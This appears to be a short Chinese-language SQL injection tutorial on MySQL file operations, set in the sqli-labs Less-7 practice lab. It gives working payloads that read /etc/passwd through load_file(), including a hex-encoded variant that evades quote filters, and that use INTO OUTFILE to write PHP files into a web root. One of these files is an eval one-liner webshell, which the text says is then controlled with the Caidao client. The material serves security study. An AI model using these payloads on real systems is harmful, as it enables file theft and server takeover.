mysql导入导出操作
load_file() 函数读文件操作
load_file(file_name)
函数的作用是读取磁盘文件,并返回该文件的内容作为一个字符串。
load_file(file_name)
函数使用条件:
- 必须有权限读取并且文件必须完全可读。
and (select count(*) from mysql.user)>0/*
如果结果返回正常,说明具有读写权限。and (select count(*) from mysql.user)>0/*
返回错误,应该是管理员给数据库帐户降权。
- 欲读取文件必须在服务器上。
- 必须指定文件完整的路径。
- 欲读取文件必须小于
max_allowed_packet
。
如果上述任何一个条件不满足,函数返回空null。
上述四个条件中,最难满足的就是权限这一条件。
SQL语句如下:
union select 1 , load_file('/etc/passwd') , 3 , 4 , 5 , 6 %23
如果程序防注入语句不允许出现单引号,可以使用以下语句绕过:
union select 1 , load_file(0x2F6563742F706173737764) , 3 , 4 , 5 , 6 %23
0x2F6563742F706173737764是/etc/passwd的十六进制转换的结果。
into outfile写文件操作
与load_file()
函数一样,into outfile
可以向磁盘写入文件。
select something into outfile 'file_name'
要求如下:
file_name
文件被创建到服务器主机上,因此我们必须拥有 FILE权限。file_name
文件不能是一个已经存在的文件,且文件路径必须是一个全路径名称。
写入文件:
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'
select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”
Less-7
我们以less-7为例来学习mysql文件导入导出操作。
Less-7比较特殊,首先我们查看源码。
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
所以我们需要对对 id 参数进行了 ‘))的处理。
之前的ORDER BY NUM
和UNION
等操作我们这里就不做介绍了。
我们直接执行into outfile写文件操作。
如图所示,我们成功在磁盘下创建了xiong.txt
文件。
我们写入了一句话木马在文件中,然后直接连接菜刀即可。